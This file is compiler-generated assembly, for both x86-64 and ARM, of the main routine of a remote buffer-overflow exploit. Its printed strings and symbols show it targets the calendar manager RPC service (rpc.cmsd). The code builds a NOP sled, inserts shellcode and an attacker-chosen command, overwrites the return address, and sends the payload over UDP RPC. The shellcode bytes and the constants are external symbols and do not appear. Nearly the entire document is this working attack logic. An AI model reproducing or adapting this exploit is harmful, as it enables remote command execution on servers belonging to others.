	.file	"extr_19421.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"Usage: %s [hostname] [command] [offset]\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"host = %s\n"
.LC2:
	.string	"command = '%s'\n"
.LC3:
	.string	"ret address = 0x%x\n"
.LC4:
	.string	"buffer size = %d\n"
.LC5:
	.string	""
.LC6:
	.string	"udp"
.LC7:
	.string	"clnt_create"
	.section	.rodata.str1.8
	.align 8
.LC8:
	.string	"exploit failed; unable to contact RPC server"
	.section	.rodata.str1.1
.LC9:
	.string	"localhost"
.LC10:
	.string	"exploit is failed!!"
.LC11:
	.string	"Maybe, exploit is success!!"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	mov	r12, rsi
	push	rbx
	sub	rsp, 88
	.cfi_offset 3, -56
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR BUFFER_SIZE[rip]
	mov	rbx, rsp
	add	eax, 1
	cdqe
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rbx, rax
	and	rdx, -16
	mov	rax, rbx
	cmp	rsp, rax
	je	.L3
.L28:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L28
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L29
.L4:
	lea	eax, -3[rdi]
	mov	QWORD PTR -104[rbp], rsp
	cmp	eax, 1
	ja	.L30
	mov	rax, QWORD PTR 8[r12]
	mov	r13, QWORD PTR 16[r12]
	xor	r14d, r14d
	mov	QWORD PTR -120[rbp], rax
	cmp	edi, 4
	jne	.L6
	mov	rdi, QWORD PTR 24[r12]
	call	atol@PLT
	mov	r14, rax
.L6:
	mov	rdi, r13
	call	strlen@PLT
	movsx	rdx, DWORD PTR LEN[rip]
	mov	rcx, QWORD PTR shell[rip]
	mov	rdi, r13
	not	eax
	mov	BYTE PTR [rcx+rdx], al
	movsx	rdx, DWORD PTR LEN[rip]
	mov	esi, eax
	mov	rcx, QWORD PTR shell[rip]
	sar	esi, 16
	mov	BYTE PTR 1[rcx+rdx], ah
	movsx	rdx, DWORD PTR LEN[rip]
	shr	eax, 24
	mov	rcx, QWORD PTR shell[rip]
	mov	BYTE PTR 2[rcx+rdx], sil
	movsx	rdx, DWORD PTR LEN[rip]
	mov	rcx, QWORD PTR shell[rip]
	mov	BYTE PTR 3[rcx+rdx], al
	call	strlen@PLT
	mov	rdx, QWORD PTR shell[rip]
	add	eax, 27
	mov	BYTE PTR 30[rdx], al
	xor	eax, eax
	call	get_ret@PLT
	mov	r12d, DWORD PTR BUFFER_SIZE[rip]
	add	rax, r14
	mov	QWORD PTR -112[rbp], rax
	test	r12d, r12d
	jle	.L10
	mov	rbx, QWORD PTR -104[rbp]
	lea	edx, -1[r12]
	movzx	ecx, BYTE PTR NOP[rip]
	mov	rax, rbx
	lea	rdx, 1[rbx+rdx]
	.p2align 4,,10
	.p2align 3
.L9:
	mov	BYTE PTR [rax], cl
	add	rax, 1
	cmp	rax, rdx
	jne	.L9
.L10:
	mov	rdi, QWORD PTR shell[rip]
	sub	r12d, DWORD PTR RET_LENGTH[rip]
	xor	r15d, r15d
	call	strlen@PLT
	mov	rdi, r13
	sub	r12d, eax
	call	strlen@PLT
	mov	rdi, QWORD PTR shell[rip]
	sub	r12d, eax
	sub	r12d, 1
	sub	r12d, DWORD PTR ADJUST[rip]
	movsx	rax, r12d
	mov	rbx, rax
	jmp	.L8
	.p2align 4,,10
	.p2align 3
.L11:
	mov	rdi, QWORD PTR shell[rip]
	mov	rax, QWORD PTR -104[rbp]
	movzx	ecx, BYTE PTR [rdi+r15]
	add	rax, rbx
	mov	BYTE PTR [rax+r15], cl
	add	r15, 1
.L8:
	lea	r14d, [r12+r15]
	call	strlen@PLT
	cmp	eax, r15d
	jg	.L11
	movsx	rax, r14d
	xor	r15d, r15d
	mov	rbx, rax
	jmp	.L12
	.p2align 4,,10
	.p2align 3
.L13:
	mov	rax, QWORD PTR -104[rbp]
	movzx	ecx, BYTE PTR 0[r13+r15]
	add	rax, rbx
	mov	BYTE PTR [rax+r15], cl
	add	r15, 1
.L12:
	mov	rdi, r13
	lea	r12d, [r14+r15]
	call	strlen@PLT
	cmp	eax, r15d
	jg	.L13
	mov	r8d, DWORD PTR RET_LENGTH[rip]
	mov	rbx, QWORD PTR -104[rbp]
	movsx	r12, r12d
	mov	edi, DWORD PTR SHELL_START[rip]
	test	r8d, r8d
	lea	edx, 3[r8]
	mov	BYTE PTR [rbx+r12], -1
	cmovns	edx, r8d
	sar	edx, 2
	cmp	r8d, 3
	jle	.L14
	movsx	rcx, edi
	mov	esi, DWORD PTR -112[rbp]
	xor	eax, eax
	add	rcx, rbx
	.p2align 4,,10
	.p2align 3
.L15:
	mov	DWORD PTR [rcx+rax*4], esi
	add	rax, 1
	cmp	edx, eax
	jg	.L15
	lea	eax, -4[0+rdx*4]
	cmp	r8d, 3
	mov	edx, 0
	cmovle	eax, edx
	lea	edi, 4[rdi+rax]
.L14:
	mov	r14, QWORD PTR -104[rbp]
	movsx	rdi, edi
	mov	rbx, QWORD PTR -120[rbp]
	xor	eax, eax
	mov	BYTE PTR [r14+rdi], 0
	mov	rsi, rbx
	lea	rdi, .LC1[rip]
	call	printf@PLT
	mov	rsi, r13
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, QWORD PTR -112[rbp]
	lea	rdi, .LC3[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rdi, r14
	call	strlen@PLT
	lea	rdi, .LC4[rip]
	mov	esi, eax
	xor	eax, eax
	call	printf@PLT
	mov	edx, DWORD PTR CMSD_VERS[rip]
	mov	rdi, rbx
	mov	esi, DWORD PTR CMSD_PROG[rip]
	lea	rax, .LC5[rip]
	lea	rcx, .LC6[rip]
	mov	QWORD PTR -80[rbp], r14
	mov	QWORD PTR -72[rbp], rax
	call	clnt_create@PLT
	mov	r12, rax
	test	rax, rax
	je	.L31
.L16:
	xor	r8d, r8d
	xor	ecx, ecx
	xor	edx, edx
	xor	esi, esi
	lea	rdi, .LC9[rip]
	call	authunix_create@PLT
	sub	rsp, 8
	lea	rcx, -80[rbp]
	mov	rdi, r12
	mov	DWORD PTR [r12], eax
	mov	edx, DWORD PTR xdr_cm_send[rip]
	lea	r9d, -84[rbp]
	mov	r8d, DWORD PTR xdr_cm_reply[rip]
	mov	esi, DWORD PTR CMSD_PROC[rip]
	push	10
	call	clnt_call@PLT
	cmp	eax, DWORD PTR RPC_SUCCESS[rip]
	pop	rdx
	pop	rcx
	je	.L32
	lea	rdi, .LC11[rip]
	call	puts@PLT
	mov	rdi, r12
	call	clnt_destroy@PLT
	xor	edi, edi
	call	exit@PLT
.L18:
	mov	rax, QWORD PTR -56[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L33
	lea	rsp, -40[rbp]
	xor	eax, eax
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L30:
	.cfi_restore_state
	mov	rsi, QWORD PTR [r12]
	lea	rdi, .LC0[rip]
	xor	eax, eax
	xor	r14d, r14d
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
	mov	rax, QWORD PTR 8[r12]
	mov	r13, QWORD PTR 16[r12]
	mov	QWORD PTR -120[rbp], rax
	jmp	.L6
.L32:
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	rdi, r12
	call	clnt_destroy@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L18
.L29:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L31:
	lea	rdi, .LC7[rip]
	call	clnt_pcreateerror@PLT
	lea	rdi, .LC8[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L16
.L33:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	xdr_cm_send,4,4
	.comm	xdr_cm_reply,4,4
	.comm	shell,8,8
	.comm	SHELL_START,4,4
	.comm	RPC_SUCCESS,4,4
	.comm	RET_LENGTH,4,4
	.comm	NOP,1,1
	.comm	LEN,4,4
	.comm	CMSD_VERS,4,4
	.comm	CMSD_PROG,4,4
	.comm	CMSD_PROC,4,4
	.comm	BUFFER_SIZE,4,4
	.comm	ADJUST,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_19421.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Usage: %s [hostname] [command] [offset]\012\000"
	.align	2
.LC1:
	.ascii	"host = %s\012\000"
	.align	2
.LC2:
	.ascii	"command = '%s'\012\000"
	.align	2
.LC3:
	.ascii	"ret address = 0x%x\012\000"
	.align	2
.LC4:
	.ascii	"buffer size = %d\012\000"
	.align	2
.LC5:
	.ascii	"\000"
	.align	2
.LC6:
	.ascii	"udp\000"
	.align	2
.LC7:
	.ascii	"clnt_create\000"
	.align	2
.LC8:
	.ascii	"exploit failed; unable to contact RPC server\000"
	.align	2
.LC9:
	.ascii	"localhost\000"
	.align	2
.LC10:
	.ascii	"exploit is failed!!\000"
	.align	2
.LC11:
	.ascii	"Maybe, exploit is success!!\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC12:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	add	fp, sp, #32
	sub	sp, sp, #60
	mov	r2, #10
	mov	r6, #0
	ldr	r4, .L27
	sub	ip, r0, #3
	ldr	r3, [r4]
	cmp	ip, #1
	add	r3, r3, #8
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r3, .L27+4
	mov	r8, r1
	ldr	r3, [r3]
	str	r3, [fp, #-40]
	mov	r3,#0
	add	r3, sp, #16
	str	r3, [fp, #-64]
	str	r2, [fp, #-48]
	str	r6, [fp, #-44]
	bhi	.L22
	ldr	r3, [r1, #4]
	cmp	r0, #4
	ldr	r5, [r1, #8]
	str	r3, [fp, #-72]
	beq	.L23
.L3:
	mov	r0, r5
	bl	strlen
	mvn	r0, r0
	ldr	r8, .L27+8
	ldr	r3, .L27+12
	ldr	ip, [r8]
	ldr	r2, [r3]
	asr	r1, r0, #8
	strb	r0, [ip, r2]
	ldr	ip, [r3]
	ldr	r2, [r8]
	add	r2, r2, ip
	strb	r1, [r2, #1]
	ldr	ip, [r3]
	ldr	r2, [r8]
	asr	r1, r0, #16
	add	r2, r2, ip
	strb	r1, [r2, #2]
	ldr	r2, [r3]
	ldr	r3, [r8]
	lsr	r0, r0, #24
	add	r3, r3, r2
	strb	r0, [r3, #3]
	mov	r0, r5
	bl	strlen
	ldr	r3, [r8]
	add	r0, r0, #27
	strb	r0, [r3, #30]
	bl	get_ret
	ldr	r4, [r4]
	add	r6, r6, r0
	cmp	r4, #0
	ble	.L7
	ldr	r3, .L27+16
	sub	r2, r4, #1
	ldrb	r1, [r3]	@ zero_extendqisi2
	ldr	r3, [fp, #-64]
	add	r2, r3, r2
	sub	r3, r3, #1
.L6:
	strb	r1, [r3, #1]!
	cmp	r3, r2
	bne	.L6
.L7:
	ldr	r3, .L27+20
	ldr	r7, [r8]
	ldr	r8, [r3]
	mov	r0, r7
	str	r8, [fp, #-68]
	bl	strlen
	mov	r9, r0
	mov	r0, r5
	bl	strlen
	sub	r4, r4, r8
	ldr	r2, .L27+24
	sub	r4, r4, r9
	ldr	r2, [r2]
	sub	r10, r4, r0
	sub	r10, r10, #1
	ldr	r3, [fp, #-64]
	sub	r10, r10, r2
	sub	r2, r10, #1
	mov	r4, #0
	add	r8, r3, r2
	b	.L5
.L8:
	ldrb	r3, [r7, r4]	@ zero_extendqisi2
	mov	r0, r7
	strb	r3, [r8, #1]!
	bl	strlen
	mov	r9, r0
	add	r4, r4, #1
.L5:
	cmp	r4, r9
	add	r9, r4, r10
	blt	.L8
	ldr	r3, [fp, #-64]
	sub	r10, r9, #1
	mov	r4, #0
	add	r10, r3, r10
	b	.L9
.L10:
	ldrb	r2, [r5, r4]	@ zero_extendqisi2
	add	r4, r4, #1
	strb	r2, [r10, #1]!
.L9:
	mov	r0, r5
	bl	strlen
	cmp	r0, r4
	add	r2, r9, r4
	bgt	.L10
	ldr	ip, [fp, #-68]
	mvn	r0, #0
	cmp	ip, #0
	add	r1, ip, #3
	movge	r1, ip
	ldr	r3, .L27+28
	cmp	ip, #3
	ldr	ip, [fp, #-64]
	asr	r1, r1, #2
	strb	r0, [ip, r2]
	ldr	r0, [r3]
	ble	.L11
	mov	r3, #0
	sub	r2, r0, #4
	add	r2, ip, r2
.L12:
	add	r3, r3, #1
	cmp	r1, r3
	str	r6, [r2, #4]!
	bgt	.L12
	ldr	r3, [fp, #-68]
	sub	r1, r1, #1
	cmp	r3, #3
	movle	r1, #0
	movgt	r1, r1, lsl #2
	add	r0, r0, #4
	add	r0, r1, r0
.L11:
	mov	r3, #0
	ldr	r4, [fp, #-64]
	ldr	r7, [fp, #-72]
	strb	r3, [r4, r0]
	mov	r1, r7
	ldr	r0, .L27+32
	bl	printf
	mov	r1, r5
	ldr	r0, .L27+36
	bl	printf
	mov	r1, r6
	ldr	r0, .L27+40
	bl	printf
	mov	r0, r4
	bl	strlen
	mov	r1, r0
	ldr	r0, .L27+44
	bl	printf
	ldr	r3, .L27+48
	ldr	r2, .L27+52
	ldr	ip, .L27+56
	ldr	r1, [r3]
	mov	r0, r7
	ldr	r2, [r2]
	ldr	r3, .L27+60
	str	r4, [fp, #-56]
	str	ip, [fp, #-52]
	bl	clnt_create
	subs	r4, r0, #0
	beq	.L24
.L13:
	mov	r5, #0
	ldr	r0, .L27+64
	mov	r3, r5
	mov	r2, r5
	mov	r1, r5
	str	r5, [sp]
	bl	authunix_create
	ldr	r3, .L27+68
	str	r0, [r4]
	ldr	r1, [fp, #-44]
	ldr	r0, [fp, #-48]
	ldr	ip, [r3]
	add	r3, sp, #8
	stm	r3, {r0, r1}
	ldr	r2, .L27+72
	ldr	r1, .L27+76
	str	ip, [sp]
	sub	r3, fp, #60
	ldr	r2, [r2]
	ldr	r1, [r1]
	mov	r0, r4
	str	r3, [sp, #4]
	sub	r3, fp, #56
	bl	clnt_call
	ldr	r3, .L27+80
	ldr	r3, [r3]
	cmp	r0, r3
	beq	.L25
	ldr	r0, .L27+84
	bl	puts
	mov	r0, r4
	bl	clnt_destroy
	mov	r0, r5
	bl	exit
.L15:
	ldr	r3, .L27+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-40]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L26
	mov	r0, #0
	sub	sp, fp, #32
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L23:
	ldr	r0, [r1, #12]
	bl	atol
	mov	r6, r0
	b	.L3
.L22:
	ldr	r1, [r1]
	ldr	r0, .L27+88
	bl	printf
	mov	r0, #1
	bl	exit
	ldr	r3, [r8, #4]
	ldr	r5, [r8, #8]
	str	r3, [fp, #-72]
	b	.L3
.L25:
	ldr	r0, .L27+92
	bl	puts
	mov	r0, r4
	bl	clnt_destroy
	mov	r0, #1
	bl	exit
	b	.L15
.L24:
	ldr	r0, .L27+96
	bl	clnt_pcreateerror
	ldr	r0, .L27+100
	bl	puts
	mov	r0, #1
	bl	exit
	b	.L13
.L26:
	bl	__stack_chk_fail
.L28:
	.align	2
.L27:
	.word	BUFFER_SIZE
	.word	.LC12
	.word	shell
	.word	LEN
	.word	NOP
	.word	RET_LENGTH
	.word	ADJUST
	.word	SHELL_START
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	CMSD_PROG
	.word	CMSD_VERS
	.word	.LC5
	.word	.LC6
	.word	.LC9
	.word	xdr_cm_reply
	.word	xdr_cm_send
	.word	CMSD_PROC
	.word	RPC_SUCCESS
	.word	.LC11
	.word	.LC0
	.word	.LC10
	.word	.LC7
	.word	.LC8
	.size	main, .-main
	.comm	xdr_cm_send,4,4
	.comm	xdr_cm_reply,4,4
	.comm	shell,4,4
	.comm	SHELL_START,4,4
	.comm	RPC_SUCCESS,4,4
	.comm	RET_LENGTH,4,4
	.comm	NOP,1,1
	.comm	LEN,4,4
	.comm	CMSD_VERS,4,4
	.comm	CMSD_PROG,4,4
	.comm	CMSD_PROC,4,4
	.comm	BUFFER_SIZE,4,4
	.comm	ADJUST,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
